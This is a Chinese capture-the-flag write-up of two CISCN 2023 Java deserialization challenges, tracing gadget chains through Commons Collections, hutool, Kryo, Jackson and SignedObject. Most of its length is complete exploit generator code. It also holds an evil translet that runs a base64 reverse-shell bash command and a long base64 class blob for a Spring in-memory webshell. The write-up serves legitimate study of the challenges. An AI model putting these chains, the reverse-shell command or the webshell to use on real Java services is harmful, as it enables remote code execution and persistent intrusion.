前言 以前java基础不牢,只能AWDP修一修,现在学的个七七八八了,还得刺刀见红。
以前做过几个java,但是基本都是抄exp,没有什么gadget的认知,这次重走八十一难,必证菩提金身。
[CISCN2023 初赛]-DeserBug 算我的java反序列化启蒙题之一。这道题是当年的初赛题目,现在看来难度不算太高。
hint:
1 cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
附件除了DeserBug环境jar包,还给了commons-collections-3.2.2和hutool-5.8.18的jar包。
值得注意的是CC链自3.2.1后新添加了checkUnsafeSerialization功能对反序列化内容进行检测,而CC链常用到的InvokerTransformer就列入了黑名单中。所以直接打CC链肯定不行。
而且题目提示了从cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
的部分gadget,那我们就却之不恭了。
首先看看题目啥玩意,Testapp.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package com.app;import cn.hutool.http.ContentType;import cn.hutool.http.HttpUtil;import java.io.ByteArrayInputStream;import java.io.ObjectInputStream;import java.util.Base64;public class Testapp { public Testapp () { } public static void main (String[] args) { HttpUtil.createServer(8888 ).addAction("/" , (request, response) -> { String bugstr = request.getParam("bugstr" ); String result = "" ; if (bugstr == null ) { response.write("welcome,plz give me bugstr" , ContentType.TEXT_PLAIN.toString()); } try { byte [] decode = Base64.getDecoder().decode(bugstr); ObjectInputStream inputStream = new ObjectInputStream (new ByteArrayInputStream (decode)); Object object = inputStream.readObject(); result = object.toString(); } catch (Exception var8) { Exception e = var8; Myexpect myexpect = new Myexpect (); myexpect.setTypeparam(new Class []{String.class}); myexpect.setTypearg(new String []{e.toString()}); myexpect.setTargetclass(e.getClass()); try { result = myexpect.getAnyexcept().toString(); } catch (Exception var7) { Exception ex = var7; result = ex.toString(); } } response.write(result, ContentType.TEXT_PLAIN.toString()); }).start(); } }
传参bugstr
,值为base64编码后的序列化字节,打反序列化的位置也很显然,也没重写ObjectInputStream这种加WAF。
现在就只需要把链子分析出来就可以了。
前半缝合-CC6 根据题目提示,来到:
cn.hutool.json.JSONObject.put
:
没啥特殊,就一个普通的键值对赋值。
其实可以结合CC链依赖想到CC6的lazymap.get()经典方法(其实CC3也是CC6改良而来的):
不妨设想一下,如果
super.map是一个JSONObject
key无所谓
value是一个Transformer的子类,如ConstantTransformer
如其所示,只要iConstant是个Object,我们就能调用他的getter方法:
只要令传入的map为JSONObject即可触发JSONObject#put,上面的分析已经得知value的值也是我们通过ConstantTransformer可控的,由此调用到它的getter方法。
那么这条链子的前半部分就通了(CC6):
1 2 3 4 5 6 7 8 ObjectInputStream#readObject() => HashSet#readObject() => HashMap#put() => HashMap#hash() => TiedMapEntry#hashCode() => TiedMapEntry#getValue() => LazyMap#get() => cn.hutool.json.JSONObject.put
后半缝合-CC3 看看另一个:
com.app.Myexpect#getAnyexcept
:
使用一个构造器,触发对应类的newInstance()方法。
欸?这不CC3吗?能直接联想到TrAXFilter
。
LINK:Commons Collections - EddieMurphy’s blog (eddiemurphy89.github.io)
这里用到TrAXFilter
的构造方法,其实算是到CC3后半段,那么后续链子就有了:
1 2 3 4 5 6 com.app.Myexpect#getAnyexcept => TrAXFilter#TrAXFilter() => TemplatesImpl#newTransformer() => TemplatesImpl#getTransletInstance() => TemplatesImpl#defineTransletClasses() => TemplatesImpl$TransletClassLoader#defineclass()
接下来就是要找哪里调用了getAnyexcept
,结合提示cn.hutool.json.JSONObject.put
->com.app.Myexpect#getAnyexcept
其实也很简单。
完整链子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ObjectInputStream#readObject() => HashSet#readObject() => HashMap#put() => HashMap#hash() => TiedMapEntry#hashCode() => TiedMapEntry#getValue() => LazyMap#get() => cn.hutool.json.JSONObject.put => com.app.Myexpect#getAnyexcept => TrAXFilter#TrAXFilter() => TemplatesImpl#newTransformer() => TemplatesImpl#getTransletInstance() => TemplatesImpl#defineTransletClasses() => TemplatesImpl$TransletClassLoader#defineclass()
完美。
其实到这里也能发现,CC5也可以走,因为前半部分不受影响:
1 2 3 4 5 6 7 8 9 10 11 12 13 ObjectInputStream#readObject() => BadAttributeValueExpException#readObject() => TiedMapEntry#toString() => LazyMap#get() => cn.hutool.json.JSONObject.put => com.app.Myexpect#getAnyexcept => TrAXFilter#TrAXFilter() => TemplatesImpl#newTransformer() => TemplatesImpl#getTransletInstance() => TemplatesImpl#defineTransletClasses() => TemplatesImpl$TransletClassLoader#defineclass()
EXP evil.class:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package com.deserbug;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class evil extends AbstractTranslet { public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} static { try { Runtime.getRuntime().exec("bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}" ); } catch (IOException e) { throw new RuntimeException (e); } } }
CC6+CC3-EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 package com.deserbug;import cn.hutool.json.JSONObject;import com.app.Myexpect;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URLEncoder;import java.util.Base64;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class EXP_CC6_CC3 { public static void setFieldValue (Object obj, String fieldName, Object newValue) throws Exception { Class clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, newValue); } public static void main (String[] args) throws Exception { byte [] code = ClassPool.getDefault().get(evil.class.getName()).toBytecode(); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{code}); setFieldValue(obj, "_name" , "EddieMurphy" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Myexpect myexpect = new Myexpect (); myexpect.setTargetclass(TrAXFilter.class); myexpect.setTypeparam(new Class []{Templates.class}); myexpect.setTypearg(new Object []{obj}); JSONObject entries = new JSONObject (); entries.put("aaa" ,"bbb" ); Transformer transformer = new ConstantTransformer (1 ); Map innerMap = entries; Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tme = new TiedMapEntry (outerMap, "k" ); Map expMap = new HashMap (); expMap.put(tme, "valuevalue" ); innerMap.clear(); setFieldValue(transformer, "iConstant" , myexpect); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream output = new ObjectOutputStream (baos); output.writeObject(expMap); output.flush(); baos.flush(); byte [] data = baos.toByteArray(); String bugstr = URLEncoder.encode(Base64.getEncoder().encodeToString(data)); System.out.println(bugstr); } }
CC5+CC3-EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 package com.deserbug;import cn.hutool.json.JSONObject;import com.app.Myexpect;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;public class EXP_CC5_CC3 { public static void setFieldValue (Object obj, String fieldName, Object newValue) throws Exception { Class clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, newValue); } public static void main (String[] args) throws Exception { byte [] code = ClassPool.getDefault().get(evil.class.getName()).toBytecode(); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "EddieMurphy" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Myexpect myexpect = new Myexpect (); myexpect.setTargetclass(TrAXFilter.class); myexpect.setTypeparam(new Class [] { Templates.class }); myexpect.setTypearg(new Object [] { obj }); JSONObject entries = new JSONObject (); LazyMap lazyMap = (LazyMap) LazyMap.decorate(entries, new ConstantTransformer (myexpect)); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "test" ); BadAttributeValueExpException bad = new BadAttributeValueExpException (null ); setFieldValue(bad,"val" ,tiedMapEntry); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(bad); oos.close(); byte [] byteArray = baos.toByteArray(); String encodedString = Base64.getEncoder().encodeToString(byteArray); System.out.println(encodedString); } }
GET传参:
[CISCN2023 西南]seaclouds 这道题非常具有代表性,打的是Kryo反序列化和Hessian原生JDK的POC。
刚把Kryo和Hessian学了就再来重温一下这道题目。
审计一下源码:
MessageController.java:
访问根路由传参message,
那么它会解码一个硬编码的Base64字符串。如果message
参数不为null,那么它会尝试解码该参数。如果解码失败,它会解码另一个硬编码的Base64字符串。
解码后的字节数组被传递给CodecMessageConverter
的toMessage
方法,该方法将字节数组转换为Message
对象。然后,该方法返回Message
对象的有效负载。
User.java:
定义了一些setter和getter方法,
依赖有Kryo:
那入手点就是:
1 2 3 CodecMessageConverter codecMessageConverter = new CodecMessageConverter (new MessageCodec ()); Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null );return messagecode.getPayload();
跟进toMessage方法:
关键在decode,跟进AbstractKryoCodec#decode
方法:
再跟进到PojoCodec#deDecode
方法:
找到你了,Kryo.readObject()
。
回到前面的CodecMessageConverter
,这里指定了解码的类型this.messageClass
(GenericMessage
),
最后MessageCodec#decode
也返回了一个Message
对象,所以后面构造的时候要用GenericMessage
将payload封装起来,如:
1 2 3 GenericMessage genericMessage = new GenericMessage (hashMap);byte [] decodemsg = (byte []) codecMessageConverter.fromMessage(genericMessage, null ); System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8" ));
跟进GenericMessage
:
看到了前面最后返回的getPayload(),也可以说明我们反序列化得到的结果是个GenericMessage对象。
几个老熟人了,基本上看到这些就能想到对应链子。
在Spring依赖 下,可以触发jackson
的BaseJsonNode#toString
,从而调用getter,而后为所欲为,至于如何调用toString
,对于原生反序列化,走BadAttributeValueExpException
最为方便,对于Field型的非原生反序列化,如果对于Map的反序列化过程有类似HashMap#put
的实现,就可以考虑HotSwappableTargetSource
利用链,这也是Kryo非原生反序列化链子的重要部分。
但是直接用Kryo链子套肯定不行,因为网上Kryo相关的攻击都是在Dubbo下利用的:
1 2 3 4 5 6 7 com.esotericsoftware.kryo#readClassAndObject -> com.esotericsoftware.kryo.serializers#read -> java.util.HashMap#put -> org.springframework.aop.target.HotSwappableTargetSource#equals -> com.sun.org.apache.xpath.internal.objects.XString -> com.alibaba.fastjson.JSON#toString -> fastjson gadget -> TemplatesImpl to load evil class
用的是从HotSwappableTargetSource
套一层然后触发到fastjson#toString
的gadget。
但fastjson是Dubbo自带的,本题没有这个依赖,也就是要找后半段链子来接上toString
。
根据题目提示用Hessian原生JDK去打(Hessian在那条链只充当source
触发toString),这里用到的就是:
1 javax.activation.MimeTypeParameterList
整体链子是:
1 2 3 4 5 6 javax.activation.MimeTypeParameterList#toString UIDefaults#get UIDefaults#getFromHashTable UIDefaults$LazyValue#createValue SwingLazyValue#createValue sun.reflect.misc.MethodUtil#invoke
具体的Hessian分析就免了,可以看:Hessian_Only_JDK | Java (gitbook.io)
我们对decode
方法进行调试,发现它会进到kryo.readObject()
中,也就是说这里可以触发kryo
反序列化的打法,kryo
和Hessian
是一类的,都是基于Field
机制,会进入到hashMap.put
中,因此可以用Hessian
的链子来打。
首先本地尝试下kryo的templatesImpl
链子吧:
1 2 3 4 5 6 kyro#readObject() -> hashMap#put() -> HotSwappableTargetSource#equals() -> Xstring#equals() -> BaseJsonNode#toString() -> templatesImpl#getOutputProperties()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "EddieMurphy" ); setFieldValue(templates, "_class" , null ); setFieldValue(templates, "_bytecodes" , new byte [][]{getTemplates()}); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); POJONode pojoNode = new POJONode (templates); HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource (1 ); HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource (2 ); HashMap hashMap = new HashMap (); hashMap.put(hotSwappableTargetSource, "1" ); hashMap.put(hotSwappableTargetSource1, "2" ); setFieldValue(hotSwappableTargetSource, "target" , pojoNode); setFieldValue(hotSwappableTargetSource1, "target" , new XString ("a" )); CodecMessageConverter codecMessageConverter = new CodecMessageConverter (new MessageCodec ()); GenericMessage genericMessage = new GenericMessage (hashMap); byte [] decodemsg = (byte []) codecMessageConverter.fromMessage(genericMessage, null ); System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8" )); Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null ); messagecode.getPayload(); }
不出意外的报错了:
报了Null
指针异常,下个断点看看,虽然弹出calc了,但是实质上没有利用成功。
因为调试进入后,你会发现即使给_factory
赋值了,最终还是会变成null
从而触发异常,因为_tfactory
是transient
修饰的,不能参与序列化和反序列化。而且前面也说过Kryo和Hessian类似,也有这个特点。
那么可以用二次反序列化,这样就无关_tfactory
了。二次反序列化 - EddieMurphy’s blog (eddiemurphy89.github.io)
Gadget呼之欲出:
1 2 3 4 5 6 7 8 kyro#readObject() -> hashMap#put() -> HotSwappableTargetSource#equals() -> Xstring#equals() -> BaseJsonNode#toString() -> SignedObject#getObject() -> HashMap#readObject() -> templatesImpl#getOutputProperties()
注意重写com.fasterxml.jackson.databind.node.BaseJsonNode
,移除其writeReplace()
方法,让Exp里的优先调用我们重写的方法,以顺利进行对象序列化,注意一下文件结构:
测试一下,本地通了:
补充下,这里用Hessian那些什么Spring AOP也是空指针异常,打不动。
开缝 整体调用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 CodecMessageConverter -> toMessage(decodemsg, ...) this .codec.decode(decodemsg, ...) AbstractKryoCodec -> decode(decodemsg, ...) PojoCodec -> doDecode(...) Kryo -> readObject(...) MapSerializer -> read(...) Map#put(hotSwappableTargetSource, ...) HotSwappableTargetSource -> equals(...) XString -> equals(pojoNode) BaseJsonNode -> toString() InternalNodeMapper#nodeToString(this ) SignedObject -> getObject() a.readObject() BadAttributeValueExpException -> readObject() valObj.toString() BaseJsonNode -> toString() InternalNodeMapper#nodeToString(this ) TemplatesImpl -> getOutputProperties() ...
EXP 其实上面Test就是EXP,这里还是象征性给一下吧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 package com.eddiemurphy;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xpath.internal.objects.XString;import javassist.*;import org.springframework.aop.target.HotSwappableTargetSource;import org.springframework.integration.codec.CodecMessageConverter;import org.springframework.integration.codec.kryo.MessageCodec;import org.springframework.messaging.Message;import org.springframework.messaging.MessageHeaders;import org.springframework.messaging.support.GenericMessage;import java.io.IOException;import java.lang.reflect.Field;import java.security.*;import java.util.Base64;import java.util.HashMap;public class Test { public static void main (String[] args) throws Exception { TemplatesImpl templates=new TemplatesImpl (); setFieldValue(templates,"_name" ,"EddieMurphy" ); setFieldValue(templates,"_class" ,null ); setFieldValue(templates,"_bytecodes" ,new byte [][]{getTemplates()}); POJONode pojoNode=new POJONode (templates); HotSwappableTargetSource hotSwappableTargetSource=new HotSwappableTargetSource (1 ); HotSwappableTargetSource hotSwappableTargetSource1=new HotSwappableTargetSource (2 ); HashMap hashMap=new HashMap (); hashMap.put(hotSwappableTargetSource,"1" ); hashMap.put(hotSwappableTargetSource1,"2" ); setFieldValue(hotSwappableTargetSource,"target" ,pojoNode); setFieldValue(hotSwappableTargetSource1,"target" ,new XString ("a" )); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(1024 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject (hashMap, kp.getPrivate(), Signature.getInstance("DSA" )); POJONode pojoNode1=new POJONode (signedObject); HotSwappableTargetSource hotSwappableTargetSource2=new HotSwappableTargetSource (3 ); HotSwappableTargetSource hotSwappableTargetSource3=new HotSwappableTargetSource (4 ); HashMap hashMap1=new HashMap (); hashMap1.put(hotSwappableTargetSource2,"1" ); hashMap1.put(hotSwappableTargetSource3,"2" ); setFieldValue(hotSwappableTargetSource2,"target" ,pojoNode1); setFieldValue(hotSwappableTargetSource3,"target" ,new XString ("b" )); CodecMessageConverter codecMessageConverter = new CodecMessageConverter (new MessageCodec ()); GenericMessage genericMessage = new GenericMessage (hashMap1); byte [] decodemsg = (byte []) codecMessageConverter.fromMessage(genericMessage, null ); System.out.println(Base64.getEncoder().encodeToString(decodemsg)); } public static void setFieldValue (Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static byte [] getTemplates() throws CannotCompileException, NotFoundException, IOException { ClassPool classPool=ClassPool.getDefault(); CtClass ctClass=classPool.makeClass("Test" ); ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" )); String block = "Runtime.getRuntime().exec(\"calc\");" ; ctClass.makeClassInitializer().insertBefore(block); return ctClass.toBytecode(); } }
但遗憾的是题目不出网,本地虽然出网也打不了反弹shell。
那么这里就要写个内存马进去了。
也很简单,直接用存的一个Spring马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 package com.eddiemurphy;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xpath.internal.objects.XString;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import org.springframework.aop.target.HotSwappableTargetSource;import org.springframework.integration.codec.CodecMessageConverter;import org.springframework.integration.codec.kryo.MessageCodec;import org.springframework.messaging.support.GenericMessage;import java.io.IOException;import java.lang.reflect.Field;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.Base64;import java.util.HashMap;public class Exp { public static void main (String[] args) throws Exception { TemplatesImpl templates=new TemplatesImpl (); String s="yv66vgAAADQAzQoANQBOCABPCwAqAFAIAFEKAFIAUwoACQBUCABVCgAJAFYHAFcIAFgIAFkIAFoIAFsKAFwAXQoAXABeCgBfAGAHAGEKABEAYggAYwoAEQBkCgARAGUKABEAZggAZwsAKwBoCgBpAGoKAGkAawoAbABtCABuCwBvAHAHAHEHAHILAB4AcwoAdAB1CAB2CgApAHcKAHgAeQoAeAB6BwB8BwB/CAA6BwCABwCBBwCCCgApAIMIAIQKAHsAhQsAhgCHCwCGAIgKACcATgoAHwCJBwCKCgAzAIsHAIwBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAFc2hlbGwBAFIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOylWAQANU3RhY2tNYXBUYWJsZQcAVwcAjQcAjgcAYQcAfwcAgQcAggEACkV4Y2VwdGlvbnMHAI8BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAJABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4HAIoBAApTb3VyY2VGaWxlAQANTWVtU2hlbGwuamF2YQwANgA3AQADY21kDACRAJIBAAdvcy5uYW1lBwCTDACUAJIMAJUAlgEAA3dpbgwAlwCYAQAQamF2YS9sYW5nL1N0cmluZwEAAnNoAQACLWMBAAdjbWQuZXhlAQACL2MHAJkMAJoAmwwAnACdBwCeDACfAKABABFqYXZhL3V0aWwvU2Nhbm5lcgwANgChAQACXEEMAKIAowwApAClDACmAJYBAAAMAKcAqAcAqQwAqgCrDACsADcHAK0MAK4ArwEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcAsAwAsQCyAQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nDACzALQHALUMALYAtwEABmNvbmZpZwwAuAC5BwC6DAC7ALwMAL0AvgcAvwEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlckNvbmZpZ3VyYXRpb24BABRCdWlsZGVyQ29uZmlndXJhdGlvbgEADElubmVyQ2xhc3NlcwEACE1lbVNoZWxsAQAPamF2YS9sYW5nL0NsYXNzAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDADAAMEBAAYvc2hlbGwMAMIAxAcAxQwAxgDHDADIAMkMAMoAywEAE2phdmEvbGFuZy9FeGNlcHRpb24MAMwANwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEAOW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlcwEADGdldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztJKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldEJlYW4BACUoTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9PYmplY3Q7AQAQamF2YS9sYW5nL09iamVjdAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAD1vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvAQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABXBhdGhzAQAHQnVpbGRlcgEAXChbTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvJEJ1aWxkZXI7AQBFb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyAQAHb3B0aW9ucwEAnShMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyQ29uZmlndXJhdGlvbjspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsBAAVidWlsZAEAQSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQAPcmVnaXN0ZXJNYXBwaW5nAQBuKExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7KVYBAA9wcmludFN0YWNrVHJhY2UAIQAnADUAAAAAAAUAAQA2ADcAAQA4AAAAHQABAAEAAAAFKrcAAbEAAAABADkAAAAGAAEAAAATAAEAOgA7AAIAOAAAASEABQAJAAAAqSsSArkAAwIAxgCgBD4SBLgABToEGQTGABIZBLYABhIHtgAImQAFAz4dmQAfBr0ACVkDEgpTWQQSC1NZBSsSArkAAwIAU6cAHAa9AAlZAxIMU1kEEg1TWQUrEgK5AAMCAFM6BbgADhkFtgAPtgAQOga7ABFZGQa3ABISE7YAFDoHGQe2ABWZAAsZB7YAFqcABRIXOggsuQAYAQAZCLYAGSy5ABgBALYAGrEAAAACADkAAAAyAAwAAAAqAAsAKwANACwAFAAtACYALgAoA